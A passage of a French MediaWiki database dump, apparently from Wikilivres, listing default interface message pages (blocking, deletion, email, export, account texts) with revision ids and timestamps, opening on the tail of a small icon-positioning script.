icones2[i].style.right= (50*i+10)+"px"; } } addLoadEvent (IconesDeTitre); /* </nowiki> </pre> */ MediaWiki:About 1236 sysop 12873 2005-06-25T11:04:01Z MediaWiki default À propos MediaWiki:Aboutpage 1237 sysop 12874 2005-06-25T11:04:01Z MediaWiki default {{ns:4}}:À propos MediaWiki:Aboutsite 1238 sysop 12875 2005-06-25T11:04:01Z MediaWiki default À propos de {{SITENAME}} MediaWiki:Accesskey-compareselectedversions 1239 sysop 46656 2006-07-01T18:48:47Z MediaWiki default v MediaWiki:Accesskey-minoredit 1240 sysop 46657 2006-07-01T18:48:47Z MediaWiki default i MediaWiki:Accesskey-preview 1241 sysop 46658 2006-07-01T18:48:48Z MediaWiki default p MediaWiki:Accesskey-save 1242 sysop 46659 2006-07-01T18:48:48Z MediaWiki default s MediaWiki:Accesskey-search 1243 sysop 46660 2006-07-01T18:48:48Z MediaWiki default f MediaWiki:Accmailtext 1244 sysop 46662 2006-07-01T18:48:48Z MediaWiki default Le mot de passe de « $1 » a été envoyé à l'adresse $2. MediaWiki:Accmailtitle 1245 sysop 12882 2005-06-25T11:04:01Z MediaWiki default Mot de passe envoyé. MediaWiki:Actioncomplete 1246 sysop 46665 2006-07-01T18:48:48Z MediaWiki default Action effectuée MediaWiki:Addedwatch 1247 sysop 46666 2006-07-01T18:48:48Z MediaWiki default Ajouté à la liste de suivi MediaWiki:Addedwatchtext 1248 sysop 46667 2006-07-01T18:48:48Z MediaWiki default La page « $1 » a été ajoutée à votre [[Special:Watchlist|liste de suivi]]. Les prochaines modifications de cette page et de la page de discussion associée seront répertoriées ici, et la page apparaîtra '''en gras''' dans la [[Special:Recentchanges|liste des modifications récentes]] pour être repérée plus facilement. Pour supprimer cette page de votre liste de suivi, cliquez sur « ne plus suivre » dans le cadre de navigation. MediaWiki:Addgroup 1249 sysop 15536 2005-07-03T11:17:06Z MediaWiki default Ajouter un groupe MediaWiki:Addsection 1250 sysop 12887 2005-06-25T11:04:01Z MediaWiki default + MediaWiki:Administrators 1251 sysop 12888 2005-06-25T11:04:01Z MediaWiki default {{ns:4}}:Administrateurs MediaWiki:Affirmation 1252 sysop 12889 2005-06-25T11:04:01Z MediaWiki default Je déclare que le détenteur du copyright de ce fichier accepte de le diffuser selon les termes de la $1. MediaWiki:All 1253 sysop 12890 2005-06-25T11:04:01Z MediaWiki default toutes MediaWiki:Allarticles 1254 sysop 15538 2005-07-03T11:17:06Z MediaWiki default Tous les articles MediaWiki:Alllogstext 1255 sysop 46668 2006-07-01T18:48:48Z MediaWiki default Affichage combiné des journaux de copie, suppression, protection, blocage, et administrateurs. Vous pouvez restreindre la vue en selectionnant un type de journal, un nom d'utilisateur ou la page concernée. MediaWiki:Allmessages 1256 sysop 46669 2006-07-01T18:48:48Z MediaWiki default Liste des messages système MediaWiki:AllmessagesnotsupportedDB 1257 sysop 46675 2006-07-01T18:48:48Z MediaWiki default '''Special:Allmessages''' n'est pas disponible car '''$wgUseDatabaseMessages''' est désactivé. MediaWiki:AllmessagesnotsupportedUI 1258 sysop 15541 2005-07-03T11:17:06Z MediaWiki default Special:AllMessages n'accepte pas la langue de votre interface (<b>$1</b>) sur ce site. MediaWiki:Allmessagestext 1259 sysop 12896 2005-06-25T11:04:02Z MediaWiki default Ceci est la liste de tous les messages disponibles dans l'espace MediaWiki MediaWiki:Allpages 1260 sysop 12897 2005-06-25T11:04:02Z MediaWiki default Toutes les pages MediaWiki:Allpagesformtext1 1261 sysop 12898 2005-06-25T11:04:02Z MediaWiki default Display pages starting at: $1 MediaWiki:Allpagesformtext2 1262 sysop 12899 2005-06-25T11:04:02Z MediaWiki default Choose namespace: $1 $2 MediaWiki:Allpagesnamespace 1263 sysop 12900 2005-06-25T11:04:02Z MediaWiki default All pages ($1 namespace) MediaWiki:Allpagesnext 1264 sysop 15545 2005-07-03T11:17:06Z MediaWiki default Suivant MediaWiki:Allpagesprev 1265 sysop 15546 2005-07-03T11:17:06Z MediaWiki default Précédent MediaWiki:Allpagessubmit 1266 sysop 15547 2005-07-03T11:17:06Z MediaWiki default Valider MediaWiki:Alphaindexline 1267 sysop 12904 2005-06-25T11:04:02Z MediaWiki default $1 à $2 MediaWiki:Alreadyloggedin 1268 sysop 19464 2005-08-19T23:11:33Z MediaWiki default <strong>'''Utilisateur $1, vous êtes déjà identifié!'''</strong><br /> MediaWiki:Ancientpages 1269 sysop 46684 2006-07-01T18:48:48Z MediaWiki default Articles les moins récemment modifiés MediaWiki:And 1270 sysop 12907 2005-06-25T11:04:02Z MediaWiki default et MediaWiki:Anontalk 1271 sysop 46686 2006-07-01T18:48:48Z MediaWiki default Discussion avec cette adresse IP MediaWiki:Anontalkpagetext 1272 sysop 46687 2006-07-01T18:48:48Z MediaWiki default ---- ''Vous êtes sur la page de discussion d'un utilisateur anonyme qui n'a pas encore créé un compte ou qui ne l'utilise pas. Pour cette raison, nous devons utiliser l'adresse IP numérique pour l'identifier. Une adresse de ce type peut être partagée entre plusieurs utilisateurs. Si vous êtes un utilisateur anonyme et si vous constatez que des commentaires qui ne vous concernent pas vous ont été adressés, vous pouvez [[Special:Userlogin|créer un compte ou vous connecter]] afin d'éviter toute confusion future avec d'autres contributeurs anonymes.'' MediaWiki:Anonymous 1273 sysop 12910 2005-06-25T11:04:02Z MediaWiki default Utilisateur(s) anonyme(s) de {{SITENAME}} MediaWiki:Apr 1274 sysop 12911 2005-06-25T11:04:02Z MediaWiki default avr MediaWiki:April 1275 sysop 12912 2005-06-25T11:04:02Z MediaWiki default avril MediaWiki:Article 1276 sysop 12913 2005-06-25T11:04:02Z MediaWiki default Article MediaWiki:Articleexists 1277 sysop 19466 2005-08-19T23:11:33Z MediaWiki default Il existe déjà un article portant ce titre, ou le titre que vous avez choisi n'est pas valide. Veuillez en choisir un autre. MediaWiki:Articlenamespace 1278 sysop 12915 2005-06-25T11:04:02Z MediaWiki default (articles) MediaWiki:Articlepage 1279 sysop 12916 2005-06-25T11:04:02Z MediaWiki default Voir l'article MediaWiki:Asksql 1280 sysop 12917 2005-06-25T11:04:02Z MediaWiki default Requête SQL MediaWiki:Asksqlpheading 1281 sysop 12918 2005-06-25T11:04:02Z MediaWiki default asksql level MediaWiki:Asksqltext 1282 sysop 12919 2005-06-25T11:04:02Z MediaWiki default Utilisez le formulaire ci-dessous pour faire une requête directe sur la base de données de {{SITENAME}}. Utilisez des guillemets simples ('comme ceci') pour délimiter les chaînes de caractères. Cette opération peut surcharger considérablement le serveur, faites en usage avec modération. MediaWiki:Aug 1283 sysop 12920 2005-06-25T11:04:02Z MediaWiki default aoû MediaWiki:August 1284 sysop 12921 2005-06-25T11:04:02Z MediaWiki default août MediaWiki:Autoblocker 1285 sysop 46689 2006-07-01T18:48:48Z MediaWiki default Vous avez été bloqué automatiquement parce que votre adresse IP a été récemment utilisée par « $1 ». La raison fournie pour le blocage de $1 est : « $2 ». MediaWiki:Badarticleerror 1286 sysop 12923 2005-06-25T11:04:02Z MediaWiki default Cette action ne peut pas être effectuée sur cette page. MediaWiki:Badfilename 1287 sysop 17892 2005-07-29T10:36:56Z MediaWiki default L'image a été renommée « $1 ». MediaWiki:Badfiletype 1288 sysop 17893 2005-07-29T10:36:56Z MediaWiki default « .$1 » n'est pas un format recommandé pour les fichiers images. MediaWiki:Badipaddress 1289 sysop 12926 2005-06-25T11:04:02Z MediaWiki default L'adresse IP n'est pas correcte. MediaWiki:Badquery 1290 sysop 12927 2005-06-25T11:04:02Z MediaWiki default Requête mal formulée MediaWiki:Badquerytext 1291 sysop 46691 2006-07-01T18:48:48Z MediaWiki default Nous n'avons pas pu traiter votre requête. Vous avez probablement recherché un mot d'une longueur inférieure à trois lettres, ce qui n'est pas encore possible. Vous avez aussi pu faire une erreur de syntaxe, telle que « poisson et et écailles ». Veuillez essayer une autre requête. MediaWiki:Badretype 1292 sysop 12929 2005-06-25T11:04:02Z MediaWiki default Les deux mots de passe que vous avez saisis ne sont pas identiques. MediaWiki:Badtitle 1293 sysop 12930 2005-06-25T11:04:02Z MediaWiki default Mauvais titre MediaWiki:Badtitletext 1294 sysop 12931 2005-06-25T11:04:02Z MediaWiki default Le titre de la page demandée est invalide, vide ou le lien interlangue est invalide MediaWiki:Blanknamespace 1295 sysop 46693 2006-07-01T18:48:48Z MediaWiki default (Main) MediaWiki:Block compress delete 1296 sysop 12933 2005-06-25T11:04:02Z MediaWiki default Can't delete this article because it contains block-compressed revisions. This is a temporary situation which the developers are well aware of, and should be fixed within a month or two. Please mark the article for deletion and wait for a developer to fix our buggy software. MediaWiki:Blockedtext 1297 sysop 46696 2006-07-01T18:48:48Z MediaWiki default Votre compte utilisateur ou votre adresse IP ont été bloqués par $1 pour la raison suivante : $2. Vous pouvez contacter $1 ou un des autres [[{{ns:4}}:Administrateur|administrateurs]] pour en discuter. Veuillez noter que vous ne pouvez utiliser la fonction de courriel si vous n'avez pas enregistré une adresse de courriel valide dans vos [[Special:Preferences|préférences]]. Votre adresse IP est $3. Merci d'inclure cette adresse dans toutes vos requêtes. MediaWiki:Blockedtitle 1298 sysop 12935 2005-06-25T11:04:02Z MediaWiki default Utilisateur bloqué MediaWiki:Blockip 1299 sysop 19470 2005-08-19T23:11:33Z MediaWiki default Bloquer une adresse IP ou un utilisateur MediaWiki:Blockipsuccesssub 1300 sysop 12937 2005-06-25T11:04:02Z MediaWiki default Blocage réussi MediaWiki:Blockipsuccesstext 1301 sysop 46697 2006-07-01T18:48:48Z MediaWiki default [[{{ns:Special}}:Contributions/$1|$1]] a été bloqué.<br />Vous pouvez consulter sur cette [[Special:Ipblocklist|page]] la liste des adresses IP bloquées. MediaWiki:Blockiptext 1302 sysop 46698 2006-07-01T18:48:48Z MediaWiki default Utilisez le formulaire ci-dessous pour bloquer l'accès en écriture à partir d'une adresse IP donnée ou d'un nom d'utilisateur. Une telle mesure ne doit être prise que pour empêcher le vandalisme et en accord avec les [[Project:Policy|règles internes]]. Donnez ci-dessous une raison précise (par exemple en indiquant les pages qui ont été vandalisées). MediaWiki:Blocklink 1303 sysop 12940 2005-06-25T11:04:02Z MediaWiki default bloquer MediaWiki:Blocklistline 1304 sysop 46699 2006-07-01T18:48:48Z MediaWiki default $1, $2 a bloqué $3 ($4) MediaWiki:Blocklogentry 1305 sysop 17894 2005-07-29T10:36:56Z MediaWiki default blocage de « $1 » MediaWiki:Blocklogpage 1306 sysop 46700 2006-07-01T18:48:48Z MediaWiki default Journal des blocages MediaWiki:Blocklogtext 1307 sysop 12944 2005-06-25T11:04:02Z MediaWiki default Ceci est la trace des blocages et déblocages des utilisateurs. Les adresses IP automatiquement bloquées ne sont pas listées. Consultez la [[Special:Ipblocklist|liste des utilisateurs bloqués]] pour voir qui est actuellement effectivement bloqué. MediaWiki:Blockpheading 1308 sysop 15553 2005-07-03T11:17:07Z MediaWiki default Onglet blocage MediaWiki:Bold sample 1309 sysop 12946 2005-06-25T11:04:02Z MediaWiki default Texte gras MediaWiki:Bold tip 1310 sysop 12947 2005-06-25T11:04:02Z MediaWiki default Texte gras MediaWiki:Booksources 1311 sysop 12948 2005-06-25T11:04:02Z MediaWiki default Ouvrages de référence MediaWiki:Booksourcetext 1312 sysop 12949 2005-06-25T11:04:02Z MediaWiki default Voici une liste de liens vers d'autres sites qui vendent des livres neufs et d'occasion et sur lesquels vous trouverez peut-être des informations sur les ouvrages que vous cherchez. {{SITENAME}} n'étant liée à aucune de ces sociétés, elle n'a aucunement l'intention d'en faire la promotion. MediaWiki:Brokenredirects 1313 sysop 12950 2005-06-25T11:04:02Z MediaWiki default Redirections cassées MediaWiki:Brokenredirectstext 1314 sysop 46702 2006-07-01T18:48:48Z MediaWiki default Ces redirections mènent vers des pages n'existant pas : MediaWiki:Bugreports 1315 sysop 12952 2005-06-25T11:04:02Z MediaWiki default Rapport d'erreurs MediaWiki:Bugreportspage 1316 sysop 12953 2005-06-25T11:04:02Z MediaWiki default {{ns:4}}:Rapport d'erreurs MediaWiki:Bureaucratlog 1317 sysop 12954 2005-06-25T11:04:02Z MediaWiki default Log_bureaucrate MediaWiki:Bureaucratlogentry 1318 sysop 20597 2005-09-05T09:19:59Z MediaWiki default Droits de l'utilisateur « $1 » mis à « $2 ». MediaWiki:Bureaucrattext 1319 sysop 12956 2005-06-25T11:04:02Z MediaWiki default Cette action ne peut être réalisée que par des administrateurs ayant le statut de 'Bureaucrate'. MediaWiki:Bureaucrattitle 1320 sysop 12957 2005-06-25T11:04:02Z MediaWiki default Un accès de 'Bureaucrate' est requis MediaWiki:Bydate 1321 sysop 12958 2005-06-25T11:04:02Z MediaWiki default par date MediaWiki:Byname 1322 sysop 12959 2005-06-25T11:04:02Z MediaWiki default par nom MediaWiki:Bysize 1323 sysop 12960 2005-06-25T11:04:02Z MediaWiki default par taille MediaWiki:Cachederror 1324 sysop 12961 2005-06-25T11:04:02Z MediaWiki default Ceci est une copie de la page demandée et peut ne pas être à jour MediaWiki:Cancel 1325 sysop 12962 2005-06-25T11:04:02Z MediaWiki default Annuler MediaWiki:Cannotdelete 1326 sysop 12963 2005-06-25T11:04:02Z MediaWiki default Impossible de supprimer la page ou l'image indiquée. MediaWiki:Cantrollback 1327 sysop 19475 2005-08-19T23:11:34Z MediaWiki default Impossible de révoquer : dernier auteur est le seul à avoir modifié cet article MediaWiki:Categories 1328 sysop 12965 2005-06-25T11:04:02Z MediaWiki default Catégories de la page MediaWiki:Categoriespagetext 1329 sysop 46704 2006-07-01T18:48:48Z MediaWiki default Les catégories suivantes existent dans le wiki. MediaWiki:Category 1330 sysop 12967 2005-06-25T11:04:02Z MediaWiki default catégorie MediaWiki:Category header 1331 sysop 19476 2005-08-19T23:11:34Z MediaWiki default Articles dans la catégorie « $1 ». MediaWiki:Categoryarticlecount1 1332 sysop 15555 2005-07-03T11:17:07Z MediaWiki default Il y a $1 article dans cette catégorie. MediaWiki:Changepassword 1333 sysop 12970 2005-06-25T11:04:02Z MediaWiki default Modification du mot de passe MediaWiki:Changes 1334 sysop 12971 2005-06-25T11:04:02Z MediaWiki default modifications MediaWiki:Columns 1335 sysop 12972 2005-06-25T11:04:02Z MediaWiki default Colonnes MediaWiki:Confirm 1336 sysop 12973 2005-06-25T11:04:02Z MediaWiki default Confirmer MediaWiki:Confirmcheck 1337 sysop 12974 2005-06-25T11:04:02Z MediaWiki default Oui, je confirme la suppression. MediaWiki:Confirmdelete 1338 sysop 12975 2005-06-25T11:04:02Z MediaWiki default Confirmer la suppression MediaWiki:Confirmdeletetext 1339 sysop 46710 2006-07-01T18:48:48Z MediaWiki default Vous êtes sur le point de supprimer définitivement de la base de données une page ou une image, ainsi que toutes ses versions antérieures. Veuillez confirmer que c'est bien là ce que vous voulez faire, que vous en comprenez les conséquences et que vous faites cela en accord avec les [[Project:Policy|règles internes]]. MediaWiki:Confirmprotect 1340 sysop 39023 2006-03-28T05:53:42Z MediaWiki default Confirmer la protection MediaWiki:Confirmprotecttext 1341 sysop 19480 2005-08-19T23:11:34Z MediaWiki default Voulez-vous réellement protéger cette page ? MediaWiki:Confirmunprotect 1342 sysop 19481 2005-08-19T23:11:34Z MediaWiki default Raison de la déprotection MediaWiki:Confirmunprotecttext 1343 sysop 17897 2005-07-29T10:36:57Z MediaWiki default Voulez-vous réellement déprotéger cette page ? MediaWiki:Contextchars 1344 sysop 12981 2005-06-25T11:04:02Z MediaWiki default Nombre de caractères de contexte par ligne MediaWiki:Contextlines 1345 sysop 12982 2005-06-25T11:04:02Z MediaWiki default Nombre de lignes par réponse MediaWiki:Contribslink 1346 sysop 46720 2006-07-01T18:48:48Z MediaWiki default contributions MediaWiki:Copyright 1347 sysop 12984 2005-06-25T11:04:02Z MediaWiki default Contenu disponible sous $1. MediaWiki:Copyrightpage 1348 sysop 12985 2005-06-25T11:04:02Z MediaWiki default {{ns:4}}:Copyright MediaWiki:Copyrightpagename 1349 sysop 12986 2005-06-25T11:04:02Z MediaWiki default licence {{SITENAME}} MediaWiki:Copyrightwarning2 1350 sysop 46721 2006-07-01T18:48:48Z MediaWiki default Toutes les contributions à {{SITENAME}} peuvent être éditées, modifiées, ou supprimées par d'autres utilisateurs. Si vous ne désirez pas que vos écrits soient édités, merci de ne pas les soumettre ici. Vous nous promettez aussi que vous avez écrit ceci vous-même, ou que vous l'avez copié d'une source provenant du domaine public, ou d'une ressource libre. (voir $1 pour plus de détails). <strong>N'UTILISEZ PAS DE TRAVAUX SOUS COPYRIGHT SANS AUTORISATION EXPRESSE !</strong> MediaWiki:Couldntremove 1351 sysop 17898 2005-07-29T10:36:57Z MediaWiki default Impossible de retirer l'article « $1 »... MediaWiki:Createaccount 1352 sysop 46722 2006-07-01T18:48:48Z MediaWiki default Créer un compte MediaWiki:Createaccountmail 1353 sysop 12990 2005-06-25T11:04:02Z MediaWiki default par courriel MediaWiki:Createaccountpheading 1354 sysop 12991 2005-06-25T11:04:02Z MediaWiki default createaccount level MediaWiki:Creditspage 1355 sysop 46725 2006-07-01T18:48:48Z MediaWiki default Page de crédits MediaWiki:Cur 1356 sysop 12993 2005-06-25T11:04:02Z MediaWiki default actu MediaWiki:Currentevents 1357 sysop 21144 2005-09-14T12:23:57Z Marc 66 titre plus explicite Nouveaux livres MediaWiki:Currentevents-url 1358 sysop 21145 2005-09-14T12:24:07Z Marc 66 Wikilivres:Nouveaux livres MediaWiki:Currentrev 1359 sysop 12996 2005-06-25T11:04:02Z MediaWiki default Version actuelle MediaWiki:Currentrevisionlink 1360 sysop 46726 2006-07-01T18:48:48Z MediaWiki default voir la version courante MediaWiki:Data 1361 sysop 46727 2006-07-01T18:48:48Z MediaWiki default Données MediaWiki:Databaseerror 1362 sysop 12999 2005-06-25T11:04:02Z MediaWiki default Erreur base de données MediaWiki:Dateformat 1363 sysop 13000 2005-06-25T11:04:02Z MediaWiki default Format de date MediaWiki:Dberrortext 1364 sysop 19482 2005-08-19T23:11:34Z MediaWiki default Erreur de syntaxe dans la base de données. La dernière requête traitée par la base de données était : <blockquote><tt>$1</tt></blockquote> depuis la fonction « <tt>$2</tt> ». MySQL a renvoyé l'erreur « <tt>$3: $4</tt> ». MediaWiki:Dberrortextcl 1365 sysop 19483 2005-08-19T23:11:34Z MediaWiki default Une requête à la base de donnée comporte une erreur de syntaxe. La dernière requête envoyée était: « $1 » effectuée par la fonction « $2 » MySQL a retourné l'erreur « $3 : $4 ». MediaWiki:Debug 1366 sysop 13003 2005-06-25T11:04:02Z MediaWiki default Déboguer MediaWiki:Dec 1367 sysop 13004 2005-06-25T11:04:02Z MediaWiki default déc MediaWiki:December 1368 sysop 13005 2005-06-25T11:04:02Z MediaWiki default décembre MediaWiki:Default 1369 sysop 46728 2006-07-01T18:48:48Z MediaWiki default défaut MediaWiki:Defaultns 1370 sysop 13007 2005-06-25T11:04:02Z MediaWiki default Par défaut, rechercher dans ces espaces : MediaWiki:Defemailsubject 1371 sysop 17899 2005-07-29T10:36:57Z MediaWiki default courriel envoyé depuis {{SITENAME}} MediaWiki:Delete 1372 sysop 17900 2005-07-29T10:36:57Z MediaWiki default Supprimer MediaWiki:Deletecomment 1373 sysop 13010 2005-06-25T11:04:02Z MediaWiki default Motif de la suppression MediaWiki:Deletedarticle 1374 sysop 19484 2005-08-19T23:11:34Z MediaWiki default a effacé « $1 » MediaWiki:Deletedrevision 1375 sysop 46734 2006-07-01T18:48:48Z MediaWiki default L'ancienne version $1 a été supprimée. MediaWiki:Deletedtext 1376 sysop 19485 2005-08-19T23:11:34Z MediaWiki default « $1 » a été supprimé. Voir $2 pour une liste des suppressions récentes. MediaWiki:Deleteimg 1377 sysop 13014 2005-06-25T11:04:02Z MediaWiki default suppr MediaWiki:Deleteimgcompletely 1378 sysop 13015 2005-06-25T11:04:02Z MediaWiki default suppr MediaWiki:Deletepage 1379 sysop 13016 2005-06-25T11:04:02Z MediaWiki default Supprimer une page MediaWiki:Deletepheading 1380 sysop 15579 2005-07-03T11:17:07Z MediaWiki default Onglet suppression MediaWiki:Deletesub 1381 sysop 19486 2005-08-19T23:11:34Z MediaWiki default (Suppression de « $1 ») MediaWiki:Deletethispage 1382 sysop 13019 2005-06-25T11:04:02Z MediaWiki default Supprimer cette page MediaWiki:Deletionlog 1383 sysop 46736 2006-07-01T18:48:48Z MediaWiki default journal des effacements MediaWiki:Dellogpage 1384 sysop 46737 2006-07-01T18:48:48Z MediaWiki default Journal des effacements MediaWiki:Dellogpagetext 1385 sysop 19487 2005-08-19T23:11:34Z MediaWiki default Voici la liste des suppressions récentes. L'heure indiquée est celle du serveur (UTC). MediaWiki:Developertext 1386 sysop 19488 2005-08-19T23:11:34Z MediaWiki default L'action que vous avez tentée ne peut être effectuée que par un utilisateur ayant le statut de « développeur ». Voir $1. MediaWiki:Developertitle 1387 sysop 13024 2005-06-25T11:04:02Z MediaWiki default Accès développeur requis MediaWiki:Diff 1388 sysop 13025 2005-06-25T11:04:02Z MediaWiki default diff MediaWiki:Difference 1389 sysop 13026 2005-06-25T11:04:02Z MediaWiki default (Différences entre les versions) MediaWiki:Disambiguations 1390 sysop 13027 2005-06-25T11:04:02Z MediaWiki default Pages d'homonymie MediaWiki:Disambiguationspage 1391 sysop 46739 2006-07-01T18:48:48Z MediaWiki default Modèle:Homonymie MediaWiki:Disambiguationstext 1392 sysop 46740 2006-07-01T18:48:48Z MediaWiki default Les pages suivantes lient vers une <i>page d'homonymie</i>. Elles devraient plutôt lier vers une page pertinente.<br /> Une page est traitée comme une page d'homonymie si elle est liée depuis $1.<br /> Les liens depuis d'autres espaces de noms <i>ne sont pas</i> listés ici. MediaWiki:Disclaimerpage 1393 sysop 13030 2005-06-25T11:04:02Z MediaWiki default {{ns:4}}:Avertissements généraux MediaWiki:Disclaimers 1394 sysop 13031 2005-06-25T11:04:02Z MediaWiki default Avertissements MediaWiki:Doubleredirects 1395 sysop 46742 2006-07-01T18:48:48Z MediaWiki default Doubles redirections. MediaWiki:Doubleredirectstext 1396 sysop 46743 2006-07-01T18:48:48Z MediaWiki default Chaque case contient des liens vers la première et la seconde redirection, ainsi que la première ligne de texte de la seconde page, ce qui fournit habituellement la « vraie » page cible, vers laquelle la première redirection devrait rediriger. MediaWiki:Edit 1397 sysop 13034 2004-12-30T20:16:22Z Marc 66 éditer > modifier modifier MediaWiki:Editcomment 1398 sysop 19491 2005-08-19T23:11:34Z MediaWiki default Le résumé de la modification était: <i>« $1 »</i>. MediaWiki:Editconflict 1399 sysop 13036 2005-06-25T11:04:02Z MediaWiki default Conflit de modification : $1 MediaWiki:Editcurrent 1400 sysop 13037 2005-06-25T11:04:02Z MediaWiki default Modifier la version actuelle de cette page MediaWiki:Editgroup 1401 sysop 15584 2005-07-03T11:17:07Z MediaWiki default Modification du groupe MediaWiki:Edithelp 1402 sysop 13039 2005-06-25T11:04:02Z MediaWiki default Aide MediaWiki:Edithelppage 1403 sysop 20601 2005-09-05T09:20:00Z MediaWiki default {{ns:help}}:Comment modifier une page MediaWiki:Editing 1404 sysop 13041 2005-06-25T11:04:02Z MediaWiki default modification de $1 MediaWiki:Editingcomment 1405 sysop 13042 2005-06-25T11:04:02Z MediaWiki default modification de $1 (commentaire) MediaWiki:Editingold 1406 sysop 15585 2005-07-03T11:17:07Z MediaWiki default <strong>Attention : vous êtes en train de modifier une version obsolète de cette page. Si vous sauvegardez, toutes les modifications effectuées depuis cette version seront perdues.</strong> MediaWiki:Editingsection 1407 sysop 13044 2005-06-25T11:04:03Z MediaWiki default modification de $1 (section) MediaWiki:Editsection 1408 sysop 13045 2005-06-25T11:04:03Z MediaWiki default modifier MediaWiki:Editthispage 1409 sysop 13046 2005-06-25T11:04:03Z MediaWiki default Modifier cette page MediaWiki:Editusergroup 1410 sysop 15586 2005-07-03T11:17:07Z MediaWiki default Modification des groupes utilisateurs MediaWiki:Emailflag 1411 sysop 20602 2005-09-05T09:20:00Z MediaWiki default Ne pas recevoir d'email<br /> des autres utilisateurs MediaWiki:Emailforlost 1412 sysop 13049 2005-06-25T11:04:03Z MediaWiki default Si vous égarez votre mot de passe, vous pouvez demander à ce qu'un nouveau vous soit envoyé à votre adresse électronique. MediaWiki:Emailfrom 1413 sysop 13050 2005-06-25T11:04:03Z MediaWiki default Expéditeur MediaWiki:Emailmessage 1414 sysop 13051 2005-06-25T11:04:03Z MediaWiki default Message MediaWiki:Emailpage 1415 sysop 46755 2006-07-01T18:48:48Z MediaWiki default Envoyer un courriel à l'utilisateur MediaWiki:Emailpagetext 1416 sysop 19494 2005-08-19T23:11:34Z MediaWiki default Si cet utilisateur a indiqué une adresse électronique valide dans ses préférences, le formulaire ci-dessous lui enverra un message. L'adresse électronique que vous avez indiquée dans vos préférences apparaîtra dans le champ « Expéditeur » de votre message afin que le destinataire puisse vous répondre. MediaWiki:Emailsend 1417 sysop 13054 2005-06-25T11:04:03Z MediaWiki default Envoyer MediaWiki:Emailsent 1418 sysop 13055 2005-06-25T11:04:03Z MediaWiki default Message envoyé MediaWiki:Emailsenttext 1419 sysop 13056 2005-06-25T11:04:03Z MediaWiki default Votre message a été envoyé. MediaWiki:Emailsubject 1420 sysop 13057 2005-06-25T11:04:03Z MediaWiki default Objet MediaWiki:Emailto 1421 sysop 13058 2005-06-25T11:04:03Z MediaWiki default Destinataire MediaWiki:Emailuser 1422 sysop 13059 2005-06-25T11:04:03Z MediaWiki default Envoyer un message à cet utilisateur MediaWiki:Emptyfile 1423 sysop 46756 2006-07-01T18:48:48Z MediaWiki default Le fichier que vous avez copié semble être vide. Ceci peut-être du à une erreur dans le nom du fichier. Veuillez vérifiez que vous désirez vraiment copier ce fichier. MediaWiki:Enterlockreason 1424 sysop 34769 2006-02-26T01:46:24Z MediaWiki default Indiquez la raison du blocage, ainsi qu'une estimation de la durée de blocage MediaWiki:Error 1425 sysop 13062 2005-06-25T11:04:03Z MediaWiki default Erreur MediaWiki:Errorpagetitle 1426 sysop 13063 2005-06-25T11:04:03Z MediaWiki default Erreur MediaWiki:Exbeforeblank 1427 sysop 19495 2005-08-19T23:11:34Z MediaWiki default Avant son blanchiment, cette page contenait : $1 MediaWiki:Exblank 1428 sysop 13065 2005-06-25T11:04:03Z MediaWiki default page vide MediaWiki:Excontent 1429 sysop 19496 2005-08-19T23:11:34Z MediaWiki default contenant « $1 » MediaWiki:Export 1430 sysop 13067 2005-06-25T11:04:03Z MediaWiki default Exporter des pages MediaWiki:Exportcuronly 1431 sysop 46766 2006-07-01T18:48:49Z MediaWiki default Exporter uniquement la version courante sans l'historique complet MediaWiki:Exporttext 1432 sysop 46768 2006-07-01T18:48:49Z MediaWiki default Vous pouvez exporter en XML le texte et l'historique d'une page ou d'un ensemble de pages; le résultat peut alors être importé dans un autre wiki fonctionnant avec le logiciel MediaWiki. Pour exporter des pages, entrez leurs titres dans la boîte de texte ci-dessous, un titre par ligne, et sélectionnez si vous désirez ou non la version actuelle avec toutes les anciennes versions, avec la page d'historique, ou simplement la page actuelle avec des informations sur la dernière modification. Dans ce dernier cas, vous pouvez aussi utiliser un lien, comme [[{{ns:Special}}:Export/{{Mediawiki:mainpage}}]] pour la page {{Mediawiki:mainpage}}. MediaWiki:Extlink sample 1433 sysop 13070 2005-06-25T11:04:03Z MediaWiki default http://www.example.com lien titre MediaWiki:Extlink tip 1434 sysop 46770 2006-07-01T18:48:49Z MediaWiki default Lien externe (n'oubliez pas le préfixe http://) MediaWiki:Faq 1435 sysop 13072 2005-06-25T11:04:03Z MediaWiki default FAQ MediaWiki:Faqpage 1436 sysop 13073 2005-06-25T11:04:03Z MediaWiki default {{ns:4}}:FAQ MediaWiki:Feb 1437 sysop 13074 2005-06-25T11:04:03Z MediaWiki default fév MediaWiki:February 1438 sysop 13075 2005-06-25T11:04:03Z MediaWiki default février MediaWiki:Feedlinks 1439 sysop 20603 2005-09-05T09:20:01Z MediaWiki default Flux MediaWiki:Filecopyerror 1440 sysop 17915 2005-07-29T10:36:59Z MediaWiki default Impossible de copier « $1 » vers « $2 ». MediaWiki:Filedeleteerror 1441 sysop 17916 2005-07-29T10:36:59Z MediaWiki default Impossible de supprimer « $1 ». MediaWiki:Filedesc 1442 sysop 19499 2005-08-19T23:11:35Z MediaWiki default Description MediaWiki:Fileexists 1443 sysop 15835 2005-07-03T11:17:08Z MediaWiki default Un fichier avec ce nom existe déjà. Merci de vérifier $1. Êtes-vous certain de vouloir modifier ce fichier ? MediaWiki:Filemissing 1444 sysop 46775 2006-07-01T18:48:49Z MediaWiki default Fichier manquant MediaWiki:Filename 1445 sysop 46776 2006-07-01T18:48:49Z MediaWiki default Nom du fichier MediaWiki:Filenotfound 1446 sysop 19501 2005-08-19T23:11:35Z MediaWiki default Le fichier « $1 » introuvable. MediaWiki:Filerenameerror 1447 sysop 46777 2006-07-01T18:48:49Z MediaWiki default Could not rename file "$1" to "$2". MediaWiki:Filesource 1448 sysop 13085 2005-06-25T11:04:03Z MediaWiki default Source MediaWiki:Filestatus 1449 sysop 13086 2005-06-25T11:04:03Z MediaWiki default Statut du copyright MediaWiki:Fileuploaded 1450 sysop 19502 2005-08-19T23:11:35Z MediaWiki default Le fichier « $1 » a été copié sur le serveur. Suivez ce lien ($2) pour accéder à la page de description, et donner des informations sur le fichier, par exemple son origine, sa date de création, son auteur, ou tout autre renseignement en votre possession. MediaWiki:Formerror 1451 sysop 13088 2005-06-25T11:04:03Z MediaWiki default Erreur: Impossible de soumettre le formulaire MediaWiki:Friday 1452 sysop 13089 2005-06-25T11:04:03Z MediaWiki default vendredi MediaWiki:Geo 1453 sysop 13090 2005-06-25T11:04:03Z MediaWiki default GEO coordinates MediaWiki:Getimagelist 1454 sysop 13091 2005-06-25T11:04:03Z MediaWiki default Récupération de la liste des images MediaWiki:Go 1455 sysop 13092 2005-06-25T11:04:03Z 